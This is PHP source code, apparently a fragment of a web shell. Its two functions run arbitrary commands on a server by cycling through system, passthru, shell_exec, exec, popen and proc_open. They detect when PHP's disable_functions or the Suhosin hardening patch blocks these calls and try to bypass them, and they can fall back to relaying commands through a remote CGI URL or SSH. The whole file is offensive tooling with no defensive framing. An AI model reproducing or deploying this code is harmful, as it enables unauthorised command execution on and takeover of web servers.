function evalRel($command)
{
global $shell_exec, $exec, $popen, $proc_open, $system, $passthru, $cgi, $shsh;
if ($system == True) {
system($command);
} else {
if ($passthru == True) {
passthru($command);
} else {
if ($shell_exec == True) {
echo shell_exec($command);
} else {
if ($exec == True) {
echo exec($command);
} else {
if ($popen == True) {
$pid = popen($command, "r");
while (!feof($pid)) {
echo fread($pid, 256);
flush();
ob_flush();
usleep(100000);
}
pclose($pid);
} else {
if ($proc_open == True) {
$process = proc_open($command, array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w")), $pipes);
if ($process !== false) {
$stdout = stream_get_contents($pipes[1]);
$stderr = stream_get_contents($pipes[2]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
}
if ($stderr != "") {
echo $stderr;
} else {
echo $stdout;
}
} else {
if ($cgi == True) {
$command = base64encoding($command);
echo url_get_contents($_SESSION["onlinecgi"] . "?command={$command}");
} else {
if ($shsh == True) {
return shsh($command);
} else {
return "False";
}
}
}
}
}
}
}
}
}
function execute_command($command, $software_check = False)
{
//this is also used to check for installed softwares
if ($software_check == True) {
if ($_SESSION["windows"] == True) {
$command = "where {$command}";
} else {
$command = "which {$command}";
}
}
if (disabled_php("system") == False) {
//not disabled by disable_functions
ob_start();
if (disabled_suhosin("system") == False) {
//not disabled by Suhosin
system($command);
} else {
//disabled by Suhosin
bypass_suhosin("system", $command, null, null, null, null, False);
}
$return_value = ob_get_contents();
ob_end_clean();
} else {
if (disabled_php("passthru") == False) {
ob_start();
if (disabled_suhosin("passthru") == False) {
passthru($command);
} else {
bypass_suhosin("passthru", $command, null, null, null, null, False);
}
$return_value = ob_get_contents();
ob_end_clean();
} else {
if (disabled_php("shell_exec") == False) {
if (disabled_suhosin("shell_exec") == False) {
$return_value = shell_exec($command);
} else {
$return_value = bypass_suhosin("shell_exec", $command);
}
} else {
if (disabled_php("exec") == False) {
if (disabled_suhosin("exec") == False) {
$return_value = exec($command);
} else {
$return_value = bypass_suhosin("exec", $command);
}
} else {
if (disabled_php("popen") == False) {
if (disabled_suhosin("popen") == False) {
$handle = popen($command, "r");
} else {
$handle = bypass_suhosin("popen", $command, "r");
}
$return_value = fread($handle, 4096);
pclose($handle);
} else {
if (disabled_php("proc_open") == False) {
if (disabled_suhosin("proc_open") == False) {
$process = proc_open($command, array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w")), $pipes);
} else {
//this gave me a headache so I will check it out later
/*
echo "proc_open-suhosin";
$process = bypass_suhosin(
"proc_open",
$command,
array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w"),
),
$pipes);*/
}
$stdout = stream_get_contents($pipes[1]);
$stderr = stream_get_contents($pipes[2]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
if ($stderr == "") {
$return_value = $stdout;
} else {
$return_value = $stderr;
}
} else {
if (isset($_SESSION["cgi"]) && $_SESSION["cgi"] == True) {
$return_value = url_get_contents($_SESSION["cgi_url"] . "?command=" . base64encoding($command));
} else {
if (isset($_SESSION["shsh"]) && $_SESSION["shsh"] == True) {
$return_value = shsh($command);
} else {
if (isset($_SESSION["shsh2"]) && $_SESSION["shsh2"] == True) {
$return_value = shsh2($command);
} else {
if (isset($_SESSION["ssh"]) && $_SESSION["ssh"] == True) {
$return_value = execute_ssh($command);
} else {
$return_value = "";
}
}
}
}
}
}
}
}
}
}
if ($software_check == True) {
if ($return_value != "" && strpos($return_value, "Could not find files") === False) {
return True;
} else {
return False;
}
} else {
return $return_value;
}
}